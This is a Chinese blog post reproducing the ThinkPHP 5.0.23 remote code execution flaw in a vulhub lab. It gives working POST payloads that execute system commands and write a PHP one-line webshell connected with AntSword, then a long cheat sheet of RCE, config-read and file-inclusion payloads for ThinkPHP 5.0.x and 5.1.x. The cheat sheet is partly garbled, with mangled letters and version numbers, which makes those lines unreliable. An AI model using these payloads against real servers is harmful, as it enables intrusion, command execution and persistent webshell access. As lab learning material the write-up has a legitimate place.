Featured image of post 【Thinkphp漏洞复现】Thinkphp5.0.23远程代码执行漏洞

【Thinkphp漏洞复现】Thinkphp5.0.23远程代码执行漏洞

文章共730字

漏洞形成原因

框架介绍:

ThinkPHP是一款运用极广的PHP开发框架。

漏洞引入:

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞如何利用

访问靶机地址+端口号 进入首页
Burp抓包修改传参方式为Post,传入参数为

1
"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd",其中pwd为系统执行命令可进行一系列操作

环境搭建

使用vulhub靶场进行搭建

1
2
3
cd thinkphp/5.0.23-rce/
docker-compose up -d
docker ps

image.png
访问链接:

1
http://192.168.197.140:8080/

image.png

漏洞复现

burp抓包
image.png
修改
传参方式为Post,url后接入/index.php?s=captch,传入参数为

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd	

image.png
尝试写入phpinfo
参数改成echo "<?php phpinfo(); ?>" > info.php

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > info.php

image.png
写入一句话

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST[aaa]); ?>' > shell.php

image.png
上蚂剑

1
2
http://192.168.197.140:8080/shell.php
密码:aaa

image.png
成功
做完实验后关闭环境 docker-compose down

更多版本

漏洞触发点和版本的不同,所以payload也不⼀样,条件也不⼀样
5.0.13~5.0.19默认情况下config中的app_debug配置项为false。
复现的时候需要开启这个
总结⼀下 5.1.x :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
?s=index/thinkRequest/input&fiLter[]=system&data=pwd

?s=index/thinkviewdriverPhp/dispLay&content=C?php phpinfo();?>

?s=index/thinktempLatedriverfiLe/write&cacheFiLe=sheLL.php&content=C? php phpinfo();?>

?s=index/thinkContainer/invokefunction&function=caLL_user_func_array&var

?s[8]=system&vars[f][]=id

?s=index/thinkapp/invokefunction&function=caLL_user_func_array&vars[8]=s ystem&vars[f][]=id

5.0.x :

1
2
3
4
5
6
7
8
9
?s=index/thinkconfig/get&name=database.username # 获取配置信息

?s=index/thinkLang/Load&fiLe= :/ :/test.jpg # 包含任意⽂件

?s=index/thinkConfig/Load&fiLe= :/ :/t.php # 包含任意.php⽂件

?s=index/thinkapp/invokefunction&function=caLL_user_func_array&vars[8]=s ystem&vars[f][]=id

?s=index|thinkapp/invokefunction&function=caLL_user_func_array&vars[8]=s ystem&vars[f][8]=whoami

5.0.13:

1
2
3
4
5
http: "php.LocaL/thinkphp5.8.5/pubLic/index.php?s=index 
方法:post
Body内容
_method= _construct&method=get&fiLter[]=caLL_user_func&get[]=phpinfo
_method= _construct&fiLter[]=system&method=GET&get[]=whoami

其他

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# ThinkPHP ≤ 5.8.f3 POST /?s=index/index
s=whoami&_method= _construct&method=&fiLter[]=system

# ThinkPHP ≤ 5.8.23、5.f.8 ≤ 5.f.f6 需要开启框架app_debug 
POST /
_method= _construct&fiLter[]=system&server[REQUEST_METHOD]=Ls -aL

# ThinkPHP ≤ 5.8.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/f.f
_method= _construct&fiLter[]=system&method=get&get[]=Ls+-aL
_method= _construct&fiLter[]=system&method=get&server[REQUEST_METHOD]=L s
站点已运行计算中...